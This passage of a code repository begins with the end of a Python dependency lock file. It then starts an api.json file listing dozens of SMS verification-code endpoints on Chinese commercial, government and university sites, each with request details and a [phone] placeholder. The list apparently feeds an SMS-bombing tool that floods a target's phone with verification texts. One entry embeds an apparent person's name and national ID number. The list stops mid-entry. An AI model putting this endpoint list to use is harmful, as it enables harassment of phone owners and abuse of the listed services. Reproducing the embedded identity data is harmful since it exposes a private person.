"sha256:7cbd7574ce8e138bda9df4efc6bf2ab8572c9aff640d8ecfece1b006b68da963",
|
||||
"sha256:7ff61ff178250f9bb3cd89752df0f1dd0e27316a8bd1465351652b1b4a4cdfd3",
|
||||
"sha256:833e1551925ed51e6b44c800e71e77dacd7e49181fdc9ac9a0bf3714d515785d",
|
||||
"sha256:8639cadfda96737427330a094476d4c7a56ac03de7265622fcf4cfe57c8ae18d",
|
||||
"sha256:8c5d5b35f789a030ebb95bff352f1d27a93d81069f2adb3182d99882e095cefe",
|
||||
"sha256:8c790abda465726cfb8bb08bd4ca9a5d0a7bd77c7ac1ca1b839ad823b948ea28",
|
||||
"sha256:8d2f1fb53a421b410751887eb4ff21386d119ef9cde3797bf5e7ed49fb51a3b3",
|
||||
"sha256:903bbd302a2378f984aef528f76d4c9b1748f318fe1294961c072bdc7f2ffa3e",
|
||||
"sha256:93f81b134a165cc17123626ab8da2e30c0455441d4ab5576eed73a64c025b25c",
|
||||
"sha256:95e69877983ea39b7303570fa6760f81a3eec23d0e3ab2021b7144b94d06202d",
|
||||
"sha256:9633b3034d3d901f0a46b7939f8c4d64427dfba6bbc5a36b1a67364cf148a1b0",
|
||||
"sha256:97e5306482182170ade15c4b0d8386ded995a07d7cc2ca8f27958d34d6736497",
|
||||
"sha256:9f3cba480d3deb69f6ee2c1825060177a22c7826431458c697df88e6aeb3caee",
|
||||
"sha256:aa5b467f15e78b82257319aebc78dd2915e4c1436c3c0d1ad6f53e47ba6e2713",
|
||||
"sha256:abb7a75ed8b968f3061327c433a0fbd17b729947b400747c334a9c29a9af6c58",
|
||||
"sha256:aec52725173bd3a7b56fe91bc56eccb26fbdff1386ef123abb63c84c5b43b63a",
|
||||
"sha256:b11548073a2213d950c3f671aa88e6f83cda6e2fb97a8b6317b1b5b33d850e06",
|
||||
"sha256:b1692f7d6bc45e3200844be0dba153612103db241691088626a33ff1f24a0d88",
|
||||
"sha256:b336501a05e13b616ef81ce329c0e09ac5ed8c732d9ba7e3e983fcc1a9e86965",
|
||||
"sha256:b8c008de9d0daba7b6666aa5bbfdc23dcd78cafc33997c9b7741ff6353bafb7f",
|
||||
"sha256:b92e29e58bef6d9cfd340c72b04d74c4b4e9f70c9fa7c78b674d1fec18896dc4",
|
||||
"sha256:be5f425ff1f5f4b3c1e33ad64ab994eed12fc284a6ea71c5243fd564502ecbe5",
|
||||
"sha256:dd0b1e9e891f69e7675ba5c92e28b90eaa045f6ab134ffe70b52e948aa175b3c",
|
||||
"sha256:e30f5ea4ae2346e62cedde8794a56858a67b878dd79f7df76a0767e356b1744a",
|
||||
"sha256:e6a36bb9474218c7a5b27ae476035497a6990e21d04c279884eb10d9b290f1b1",
|
||||
"sha256:e859fcb4cbe93504ea18008d1df98dee4f7766db66c435e4882ab35cf70cac43",
|
||||
"sha256:eb6ea6da4c787111adf40f697b4e58732ee0942b5d3bd8f435277643329ba627",
|
||||
"sha256:ec8c433b3ab0419100bd45b47c9c8551248a5aee30ca5e9d399a0b57ac04651b",
|
||||
"sha256:eff9d20417ff9dcb0d25e2defc2574d10b491bf2e693b4e491914738b7908168",
|
||||
"sha256:f0214eb2a23b85528310dad848ad2ac58e735612929c8072f6093f3585fd342d",
|
||||
"sha256:f276df9830dba7a333544bd41070e8175762a7ac20350786b322b714b0e654f5",
|
||||
"sha256:f3acda1924472472ddd60c29e5b9db0cec629fbe3c5c5accb74d6d6d14773478",
|
||||
"sha256:f70a9e237bb792c7cc7e44c531fd48f5897961701cdaa06cf22fc14965c496cf",
|
||||
"sha256:f9d29ca8a77117315101425ec7ec2a47a22ccf59f5593378fc4077ac5b754fce",
|
||||
"sha256:fa877ca7f6b48054f847b61d6fa7bed5cebb663ebc55e018fda12db09dcc664c",
|
||||
"sha256:fdcec0b8399108577ec290f55551d926d9a1fa6cad45882093a7a07ac5ec147b"
|
||||
],
|
||||
"markers": "python_version >= '3' and platform_machine == 'aarch64' or (platform_machine == 'ppc64le' or (platform_machine == 'x86_64' or (platform_machine == 'amd64' or (platform_machine == 'AMD64' or (platform_machine == 'win32' or platform_machine == 'WIN32')))))",
|
||||
"version": "==1.1.2"
|
||||
},
|
||||
"importlib-metadata": {
|
||||
"hashes": [
|
||||
"sha256:1208431ca90a8cca1a6b8af391bb53c1a2db74e5d1cef6ddced95d4b2062edc6",
|
||||
"sha256:ea4c597ebf37142f827b8f39299579e31685c31d3a438b59f469406afd0f2539"
|
||||
],
|
||||
"markers": "python_version < '3.10'",
|
||||
"version": "==4.11.3"
|
||||
},
|
||||
"itsdangerous": {
|
||||
"hashes": [
|
||||
"sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44",
|
||||
"sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a"
|
||||
],
|
||||
"markers": "python_version >= '3.7'",
|
||||
"version": "==2.1.2"
|
||||
},
|
||||
"jinja2": {
|
||||
"hashes": [
|
||||
"sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852",
|
||||
"sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61"
|
||||
],
|
||||
"markers": "python_version >= '3.7'",
|
||||
"version": "==3.1.2"
|
||||
},
|
||||
"kombu": {
|
||||
"hashes": [
|
||||
"sha256:37cee3ee725f94ea8bb173eaab7c1760203ea53bbebae226328600f9d2799610",
|
||||
"sha256:8b213b24293d3417bcf0d2f5537b7f756079e3ea232a8386dcc89a59fd2361a4"
|
||||
],
|
||||
"markers": "python_version >= '3.7'",
|
||||
"version": "==5.2.4"
|
||||
},
|
||||
"markupsafe": {
|
||||
"hashes": [
|
||||
"sha256:0212a68688482dc52b2d45013df70d169f542b7394fc744c02a57374a4207003",
|
||||
"sha256:089cf3dbf0cd6c100f02945abeb18484bd1ee57a079aefd52cffd17fba910b88",
|
||||
"sha256:10c1bfff05d95783da83491be968e8fe789263689c02724e0c691933c52994f5",
|
||||
"sha256:33b74d289bd2f5e527beadcaa3f401e0df0a89927c1559c8566c066fa4248ab7",
|
||||
"sha256:3799351e2336dc91ea70b034983ee71cf2f9533cdff7c14c90ea126bfd95d65a",
|
||||
"sha256:3ce11ee3f23f79dbd06fb3d63e2f6af7b12db1d46932fe7bd8afa259a5996603",
|
||||
"sha256:421be9fbf0ffe9ffd7a378aafebbf6f4602d564d34be190fc19a193232fd12b1",
|
||||
"sha256:43093fb83d8343aac0b1baa75516da6092f58f41200907ef92448ecab8825135",
|
||||
"sha256:46d00d6cfecdde84d40e572d63735ef81423ad31184100411e6e3388d405e247",
|
||||
"sha256:4a33dea2b688b3190ee12bd7cfa29d39c9ed176bda40bfa11099a3ce5d3a7ac6",
|
||||
"sha256:4b9fe39a2ccc108a4accc2676e77da025ce383c108593d65cc909add5c3bd601",
|
||||
"sha256:56442863ed2b06d19c37f94d999035e15ee982988920e12a5b4ba29b62ad1f77",
|
||||
"sha256:671cd1187ed5e62818414afe79ed29da836dde67166a9fac6d435873c44fdd02",
|
||||
"sha256:694deca8d702d5db21ec83983ce0bb4b26a578e71fbdbd4fdcd387daa90e4d5e",
|
||||
"sha256:6a074d34ee7a5ce3effbc526b7083ec9731bb3cbf921bbe1d3005d4d2bdb3a63",
|
||||
"sha256:6d0072fea50feec76a4c418096652f2c3238eaa014b2f94aeb1d56a66b41403f",
|
||||
"sha256:6fbf47b5d3728c6aea2abb0589b5d30459e369baa772e0f37a0320185e87c980",
|
||||
"sha256:7f91197cc9e48f989d12e4e6fbc46495c446636dfc81b9ccf50bb0ec74b91d4b",
|
||||
"sha256:86b1f75c4e7c2ac2ccdaec2b9022845dbb81880ca318bb7a0a01fbf7813e3812",
|
||||
"sha256:8dc1c72a69aa7e082593c4a203dcf94ddb74bb5c8a731e4e1eb68d031e8498ff",
|
||||
"sha256:8e3dcf21f367459434c18e71b2a9532d96547aef8a871872a5bd69a715c15f96",
|
||||
"sha256:8e576a51ad59e4bfaac456023a78f6b5e6e7651dcd383bcc3e18d06f9b55d6d1",
|
||||
"sha256:96e37a3dc86e80bf81758c152fe66dbf60ed5eca3d26305edf01892257049925",
|
||||
"sha256:97a68e6ada378df82bc9f16b800ab77cbf4b2fada0081794318520138c088e4a",
|
||||
"sha256:99a2a507ed3ac881b975a2976d59f38c19386d128e7a9a18b7df6fff1fd4c1d6",
|
||||
"sha256:a49907dd8420c5685cfa064a1335b6754b74541bbb3706c259c02ed65b644b3e",
|
||||
"sha256:b09bf97215625a311f669476f44b8b318b075847b49316d3e28c08e41a7a573f",
|
||||
"sha256:b7bd98b796e2b6553da7225aeb61f447f80a1ca64f41d83612e6139ca5213aa4",
|
||||
"sha256:b87db4360013327109564f0e591bd2a3b318547bcef31b468a92ee504d07ae4f",
|
||||
"sha256:bcb3ed405ed3222f9904899563d6fc492ff75cce56cba05e32eff40e6acbeaa3",
|
||||
"sha256:d4306c36ca495956b6d568d276ac11fdd9c30a36f1b6eb928070dc5360b22e1c",
|
||||
"sha256:d5ee4f386140395a2c818d149221149c54849dfcfcb9f1debfe07a8b8bd63f9a",
|
||||
"sha256:dda30ba7e87fbbb7eab1ec9f58678558fd9a6b8b853530e176eabd064da81417",
|
||||
"sha256:e04e26803c9c3851c931eac40c695602c6295b8d432cbe78609649ad9bd2da8a",
|
||||
"sha256:e1c0b87e09fa55a220f058d1d49d3fb8df88fbfab58558f1198e08c1e1de842a",
|
||||
"sha256:e72591e9ecd94d7feb70c1cbd7be7b3ebea3f548870aa91e2732960fa4d57a37",
|
||||
"sha256:e8c843bbcda3a2f1e3c2ab25913c80a3c5376cd00c6e8c4a86a89a28c8dc5452",
|
||||
"sha256:efc1913fd2ca4f334418481c7e595c00aad186563bbc1ec76067848c7ca0a933",
|
||||
"sha256:f121a1420d4e173a5d96e47e9a0c0dcff965afdf1626d28de1460815f7c4ee7a",
|
||||
"sha256:fc7b548b17d238737688817ab67deebb30e8073c95749d55538ed473130ec0c7"
|
||||
],
|
||||
"markers": "python_version >= '3.7'",
|
||||
"version": "==2.1.1"
|
||||
},
|
||||
"prompt-toolkit": {
|
||||
"hashes": [
|
||||
"sha256:62291dad495e665fca0bda814e342c69952086afb0f4094d0893d357e5c78752",
|
||||
"sha256:bd640f60e8cecd74f0dc249713d433ace2ddc62b65ee07f96d358e0b152b6ea7"
|
||||
],
|
||||
"markers": "python_full_version >= '3.6.2'",
|
||||
"version": "==3.0.29"
|
||||
},
|
||||
"pytz": {
|
||||
"hashes": [
|
||||
"sha256:1e760e2fe6a8163bc0b3d9a19c4f84342afa0a2affebfaa84b01b978a02ecaa7",
|
||||
"sha256:e68985985296d9a66a881eb3193b0906246245294a881e7c8afe623866ac6a5c"
|
||||
],
|
||||
"version": "==2022.1"
|
||||
},
|
||||
"six": {
|
||||
"hashes": [
|
||||
"sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926",
|
||||
"sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"
|
||||
],
|
||||
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
|
||||
"version": "==1.16.0"
|
||||
},
|
||||
"speaklater": {
|
||||
"hashes": [
|
||||
"sha256:59fea336d0eed38c1f0bf3181ee1222d0ef45f3a9dd34ebe65e6bfffdd6a65a9"
|
||||
],
|
||||
"version": "==1.3"
|
||||
},
|
||||
"sqlalchemy": {
|
||||
"hashes": [
|
||||
"sha256:09c606d8238feae2f360b8742ffbe67741937eb0a05b57f536948d198a3def96",
|
||||
"sha256:166a3887ec355f7d2f12738f7fa25dc8ac541867147a255f790f2f41f614cb44",
|
||||
"sha256:16abf35af37a3d5af92725fc9ec507dd9e9183d261c2069b6606d60981ed1c6e",
|
||||
"sha256:2e885548da361aa3f8a9433db4cfb335b2107e533bf314359ae3952821d84b3e",
|
||||
"sha256:2ec89bf98cc6a0f5d1e28e3ad28e9be6f3b4bdbd521a4053c7ae8d5e1289a8a1",
|
||||
"sha256:2ecac4db8c1aa4a269f5829df7e706639a24b780d2ac46b3e485cbbd27ec0028",
|
||||
"sha256:316c7e5304dda3e3ad711569ac5d02698bbc71299b168ac56a7076b86259f7ea",
|
||||
"sha256:5041474dcab7973baa91ec1f3112049a9dd4652898d6a95a6a895ff5c58beb6b",
|
||||
"sha256:53d2d9ee93970c969bc4e3c78b1277d7129554642f6ffea039c282c7dc4577bc",
|
||||
"sha256:5864a83bd345871ad9699ce466388f836db7572003d67d9392a71998092210e3",
|
||||
"sha256:5c90ef955d429966d84326d772eb34333178737ebb669845f1d529eb00c75e72",
|
||||
"sha256:5d50cb71c1dbed70646d521a0975fb0f92b7c3f84c61fa59e07be23a1aaeecfc",
|
||||
"sha256:64678ac321d64a45901ef2e24725ec5e783f1f4a588305e196431447e7ace243",
|
||||
"sha256:64d796e9af522162f7f2bf7a3c5531a0a550764c426782797bbeed809d0646c5",
|
||||
"sha256:6cb4c4f57a20710cea277edf720d249d514e587f796b75785ad2c25e1c0fed26",
|
||||
"sha256:6e1fe00ee85c768807f2a139b83469c1e52a9ffd58a6eb51aa7aeb524325ab18",
|
||||
"sha256:6e859fa96605027bd50d8e966db1c4e1b03e7b3267abbc4b89ae658c99393c58",
|
||||
"sha256:7a052bd9f53004f8993c624c452dfad8ec600f572dd0ed0445fbe64b22f5570e",
|
||||
"sha256:81e53bd383c2c33de9d578bfcc243f559bd3801a0e57f2bcc9a943c790662e0c",
|
||||
"sha256:83cf3077712be9f65c9aaa0b5bc47bc1a44789fd45053e2e3ecd59ff17c63fe9",
|
||||
"sha256:8b20c4178ead9bc398be479428568ff31b6c296eb22e75776273781a6551973f",
|
||||
"sha256:8d07fe2de0325d06e7e73281e9a9b5e259fbd7cbfbe398a0433cbb0082ad8fa7",
|
||||
"sha256:a0ae3aa2e86a4613f2d4c49eb7da23da536e6ce80b2bfd60bbb2f55fc02b0b32",
|
||||
"sha256:af2587ae11400157753115612d6c6ad255143efba791406ad8a0cbcccf2edcb3",
|
||||
"sha256:b3db741beaa983d4cbf9087558620e7787106319f7e63a066990a70657dd6b35",
|
||||
"sha256:be094460930087e50fd08297db9d7aadaed8408ad896baf758e9190c335632da",
|
||||
"sha256:cb441ca461bf97d00877b607f132772644b623518b39ced54da433215adce691",
|
||||
"sha256:ce20f5da141f8af26c123ebaa1b7771835ca6c161225ce728962a79054f528c3",
|
||||
"sha256:d57ac32f8dc731fddeb6f5d1358b4ca5456e72594e664769f0a9163f13df2a31",
|
||||
"sha256:dce3468bf1fc12374a1a732c9efd146ce034f91bb0482b602a9311cb6166a920",
|
||||
"sha256:e12532c4d3f614678623da5d852f038ace1f01869b89f003ed6fe8c793f0c6a3",
|
||||
"sha256:e74ce103b81c375c3853b436297952ef8d7863d801dcffb6728d01544e5191b5",
|
||||
"sha256:f0394a3acfb8925db178f7728adb38c027ed7e303665b225906bfa8099dc1ce8",
|
||||
"sha256:f522214f6749bc073262529c056f7dfd660f3b5ec4180c5354d985eb7219801e",
|
||||
"sha256:fbf8c09fe9728168f8cc1b40c239eab10baf9c422c18be7f53213d70434dea43",
|
||||
"sha256:fca8322e04b2dde722fcb0558682740eebd3bd239bea7a0d0febbc190e99dc15"
|
||||
],
|
||||
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'",
|
||||
"version": "==1.4.36"
|
||||
},
|
||||
"vine": {
|
||||
"hashes": [
|
||||
"sha256:4c9dceab6f76ed92105027c49c823800dd33cacce13bdedc5b914e3514b7fb30",
|
||||
"sha256:7d3b1624a953da82ef63462013bbd271d3eb75751489f9807598e8f340bd637e"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==5.0.0"
|
||||
},
|
||||
"wcwidth": {
|
||||
"hashes": [
|
||||
"sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784",
|
||||
"sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"
|
||||
],
|
||||
"version": "==0.2.5"
|
||||
},
|
||||
"werkzeug": {
|
||||
"hashes": [
|
||||
"sha256:1ce08e8093ed67d638d63879fd1ba3735817f7a80de3674d293f5984f25fb6e6",
|
||||
"sha256:72a4b735692dd3135217911cbeaa1be5fa3f62bffb8745c5215420a03dc55255"
|
||||
],
|
||||
"markers": "python_version >= '3.7'",
|
||||
"version": "==2.1.2"
|
||||
},
|
||||
"wtforms": {
|
||||
"hashes": [
|
||||
"sha256:6b351bbb12dd58af57ffef05bc78425d08d1914e0fd68ee14143b7ade023c5bc",
|
||||
"sha256:837f2f0e0ca79481b92884962b914eba4e72b7a2daaf1f939c890ed0124b834b"
|
||||
],
|
||||
"markers": "python_version >= '3.7'",
|
||||
"version": "==3.0.1"
|
||||
},
|
||||
"zipp": {
|
||||
"hashes": [
|
||||
"sha256:56bf8aadb83c24db6c4b577e13de374ccfb67da2078beba1d037c17980bf43ad",
|
||||
"sha256:c4f6e5bbf48e74f7a38e7cc5b0480ff42b0ae5178957d564d18932525d5cf099"
|
||||
],
|
||||
"markers": "python_version >= '3.7'",
|
||||
"version": "==3.8.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
745
api.json
Executable file
@@ -0,0 +1,745 @@
|
||||
[
|
||||
{
|
||||
"desc": "彩云小译",
|
||||
"url": "https://biz.caiyunapp.com/v1/send_sms_code",
|
||||
"method": "POST",
|
||||
"header": {
|
||||
"Referer": "https://fanyi.caiyunapp.com/",
|
||||
"Cy-Token": "token 9876032166"
|
||||
},
|
||||
"data": {
|
||||
"phone_num": "[phone]",
|
||||
"area_code": "86"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "网易云游戏",
|
||||
"url": "https://n.cg.163.com/api/v1/phone-captchas/86-[phone]",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"etc": {
|
||||
"validate": ""
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "果壳app",
|
||||
"url": "https://guokrapp-apis.guokr.com/hawking/v1/verifications",
|
||||
"method": "POST",
|
||||
"header": {
|
||||
"User-Agent": "android 2.0.15",
|
||||
"Client-Source": "android;23;Android;MuMu",
|
||||
"Client-Channel": "gkchannel_QD009",
|
||||
"Content-Type": "application/json; charset=UTF-8"
|
||||
},
|
||||
"data": {
|
||||
"dial_code": "0086",
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "踢米app",
|
||||
"url": "https://www.timing360.com/user/send-captcha",
|
||||
"method": "POST",
|
||||
"header": {
|
||||
"Authorization": "7119181942667E7D85987C65A6D0B8EC",
|
||||
"Content-Type": "application/x-www-form-urlencoded"
|
||||
},
|
||||
"data": "_app_version=10.13.2&_carrier=&_city=&_country=&_country_code=&_date=2022-04-05&_device_id=b6ad5aabe403d839&_device_manufacturer=Netease&_device_model=MuMu&_device_os=Android&_device_os_version=6.0.1&_distinct_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_ip=&_is_login_id=0&_login_method=phone&_network_type=WIFI&_province=&_screen_height=2000&_screen_width=1125&_time=2022-04-05%2021%3A21%3A13&_user_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_wifi=1&adCode=&brand=Android&city=&cityCode=&countryCode=86&imei=861151055733959&isCheckPhoneExist=0&latitude=&longitude=&market=yyb&nonce=708380&os=6.0.1&osType=1&phoneModel=MuMu&phoneNumber=[phone]&sessionId=e1c69361-c78b-4f4d-8c98-938ba4eccff6×tamp=[timestamp]&userID=-709178027&userKey=11111111111111111111111111111111&versioncode=187"
|
||||
},
|
||||
{
|
||||
"desc": "微爱app",
|
||||
"url": "http://api.welove520.com/v5/account/phone/verifyCode/send?phone_number=[phone]&client_id=464847866_[timestamp]&type=6&area_code=86&app_key=ac5f34563a4344c4&sig=xvP64W04tR%2FNJoZEJEoJySmlIXU%3D",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "返利app(24小时限制)",
|
||||
"url": "https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery21105357980471043338_[timestamp]&mobile=[phone]&countrycode=86&mobilestep=1&_=[timestamp]",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "酷安(一天只能一次)",
|
||||
"url": "https://account.coolapk.com/auth/login?type=mobile",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": "submit=1&requestHash=c2592a6dr9x510&country=86&mobile=[phone]&captcha=&randomNumber=0undefined7952784010774208"
|
||||
},
|
||||
{
|
||||
"desc": "广东高考报名web",
|
||||
"url": "https://pg.eeagd.edu.cn/ks/public/kszc/zcyzm.jsmeb",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": "[phone]"
|
||||
},
|
||||
{
|
||||
"desc": "广东教育翔云",
|
||||
"url": "https://gl.gdedu.gov.cn/api-service/captcha?phoneNumber=[phone]&captchaType=QUERY_ADMIN",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "迪卡侬",
|
||||
"url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"countryCode": "CN",
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "股海网",
|
||||
"url": "https://www.guhai.com.cn/front/member/sendSmsCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "LLL的个人blog",
|
||||
"url": "http://www.lll.plus/sendCode/",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"tel": "[phone]",
|
||||
"forgetPwd": ""
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "企米子",
|
||||
"url": "https://www.xcxui.com/index/register/getcode.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"tel": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "蒲公英",
|
||||
"url": "https://id.pgyer.com/user/getRegisterCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"tel": "[phone]",
|
||||
"callingCode": "86",
|
||||
"mode": "tel"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "百卓优采",
|
||||
"url": "https://erp.abiz.com/mobilecode/sendMobileCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]",
|
||||
"captcha": ""
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "云背篓",
|
||||
"url": "https://brand.yunbeilou.com/index.php/smssend",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]",
|
||||
"v": "yes"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "PHP中文网",
|
||||
"url": "https://m.php.cn/account/phone_code.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "12321",
|
||||
"url": "http://dhba.12321.cn/api/verifycode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "Testin众测",
|
||||
"url": "https://www.ztestin.com/users/send/vercode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]",
|
||||
"type": "register",
|
||||
"voice": "0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "海尔",
|
||||
"url": "http://maker.haier.net/client/user/sendregistervcode.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"account": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "飞猫云",
|
||||
"url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"pcode": "+86",
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "华觉数字化平台",
|
||||
"url": "https://end.huajuetech.com/api/sendCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]",
|
||||
"email": "null",
|
||||
"verfy_method": "mobile"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "问政江西",
|
||||
"url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "河南智慧党建",
|
||||
"url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]",
|
||||
"verifytype": "1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "陆陆陆云安全",
|
||||
"url": "https://cloud.666idc.com/index/login/sendsms.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]",
|
||||
"mobile_pre": "86"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "网易",
|
||||
"url": "https://dz.blizzard.cn/action/user/mobile/captcha",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "码云社",
|
||||
"url": "https://www.codeseeding.com/loginUser/toSend",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "人才山东",
|
||||
"url": "http://sso.rcsd.cn/regist/getVerifyCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"personcall": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "水利部",
|
||||
"url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "七联大学",
|
||||
"url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phoneNumber": "[phone]",
|
||||
"sendType": "0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "闪德资讯",
|
||||
"url": "https://www.0101ssd.com/user/sendmsg",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]",
|
||||
"event": "register"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "江苏省名师空中课堂",
|
||||
"url": "https://mskzkt.jse.edu.cn/baseApi/user/code/",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]",
|
||||
"type": "1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "CSFF短片",
|
||||
"url": "https://csff.cutv.com/wapi/users/sendregcode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"telphone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "广西人社厅",
|
||||
"url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"aae005": "[phone]",
|
||||
"aac003": "刘萌萌",
|
||||
"aac002": "210212198506035924",
|
||||
"notkeyflag": "1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "麦克赛尔数字映像",
|
||||
"url": "https://www.maxell-dm.cn/Code/CheckImage.aspx",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"action": "send",
|
||||
"txtMember_Name": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "宝提分",
|
||||
"url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "选型系统",
|
||||
"url": "http://www.cnppump.ltd/Service/UserHandler.ashx",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {
|
||||
"cmd": "GetTelVerifyCode",
|
||||
"Tel": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "千里马网信科技",
|
||||
"url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"tips": "1",
|
||||
"shouji": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "保定云",
|
||||
"url": "https://baodingyun.com.cn/register/send_registerSMS.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "欢动游戏",
|
||||
"url": "http://www.gm5.com/auth/registerSms.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "迈威",
|
||||
"url": "https://www.maiwe.com.cn/index/sendcode.html",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {
|
||||
"tel": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
